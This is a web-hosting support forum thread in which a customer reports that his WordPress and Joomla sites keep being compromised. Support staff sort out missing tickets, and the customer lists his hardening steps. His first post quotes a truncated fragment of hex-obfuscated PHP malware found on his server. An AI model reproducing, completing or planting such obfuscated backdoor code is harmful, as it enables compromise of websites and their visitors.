Web4 being hacked

Customer Support Customer Only Discussion
1

Since early Jan 16, my sites on Web4 (Joomla & Wordpress) are being hacked - fake .php files being uploaded with dodgy code, eg

<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67i\x65q\x68\x6ai\x79e\x6a\x72g"]="\x75\x72\x69";${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x69\x77\x64\x79\x73vi\x6bh"]="\x64u\x6d\x6d\x79_\x70\x61g\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x68\x74a\x78\x76c"]="\x69\x70\x5fke\x79\x73";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x70\x76g\x74\x67\x62w\x71"]="fi\x6c\x65\x6eam\x65";${"\x47LO\x42\x41\x4cS"}["\x6ag\x67\x70\x6c\x6d\x66\x6aq\x75\x70"]="\x63o\x6ete\x6e\x74";${"\x47\x4c\x4f\x42\x41LS"}["\x79\x6cf\x71\x6f\x66x"]="\x69\x70";${"\x47\x4c\x4fB\x41L\x53"}["\x61\x73\x69\x6f\x6e\x65\x65\x68\x62"]="\x63o\x6e\x74\x65\x6et";${"\x47\x4c\x4fBA\x4c\x53"}["o\x67\x6anw\x64\x6a\x71\x63\x6a"]="u\x72\x6c";${"\x47LOB\x41L\x53"}["\x66e\x71\x6bg\x6b\x72edp\x6er"]="\x69";$tvjuit="ke\x79";$khpkwwmtyl="\x6b\x65\x79";${"G\x4c\x4fBA\x4c\x53"}["\x77\x76\x78t\x79hl"]="\x6b\x65y";${"\x47LO\x42A\x4c\x53"}["l\x76\x Then directories will appear with thousands of html files uploaded showing shopping items, eg sports shoes etc etc Sometimes my sites fail and have to be re-installed. Is there anything that can be done - I'm at my wits end! (Latest updates applied to sites, ftp password changed etc etc - nothing seems to stop the hacks) Thanks Rob
2

Request to you open a support ticket with mention all the details, we will check it and provide to you information.

3

OK will do

4

Raised ticket - no reply - sites still being hacked with mailicious .php files

The service is becoming unusable - thinking I’ll have to move to a different web hosting company?

5

No reply to two tickets now - has the Helpdesk been hacked too???

6

Please let us know your Ticket Nos. It seems your ticket didn’t reach at correct helpdesk.Also we have scanned your FTP account, found lots of malicious file(s) hits.

7

Never got replies at all, so therefore no ticket numbers!

8

Rob, Where did you send tickets? Email, or web based? We are still getting tickets in and answering, and there’s not server wide issue there, but we’d like to get things resolved. If you have changed emails anytime recently, it may be the reason for them not returning. You can submit on [email protected] as a backup option it goes to the VPS desk.

9

We’ve checked this on Cerberus and it is working, there is likely an issue in your login if submit via the web interface. If you can come on live chat to give us credentials to login as you on the helpdesk, we can fix the matter. You can also let us know via helpdesk.jodovps.com (create an account) or the [email protected] address. It is quite likely we have even responded to your tickets, as we get them, but you are unable to see.

10

Thanks Stephen, will do.

In the meantime this is what I’ve done to stop hacks:

  1. Changed all MySQL passwords
  2. Changed FTP password
  3. Changed the secret keys in Wordpress config files
  4. Altered .htaccess files to only allow 10 byte uploads, and added a line which stops it being altered. Also, set file permission to 0444 read only. (If I need to upload, I can temporarily comment out the 10byte limit)
  5. Where an existing backdoor has been uploaded, I’ve cleared the contents then re-uploaded it but set the file permissions to read only (0444) so it can’t be over-written when the hacker next tries
  6. Installed Wordfence on all Wordpress sites
  7. Changed the master Wordpress directory to something else eg www.mysite.com/doubledutch/wp-admin
  8. Mad sure all site usernames are not simply admin

I download the log files into http://www.apacheviewer.com/ then look at the POST requests to see what the hackers are up to

Any more tips much appreciated.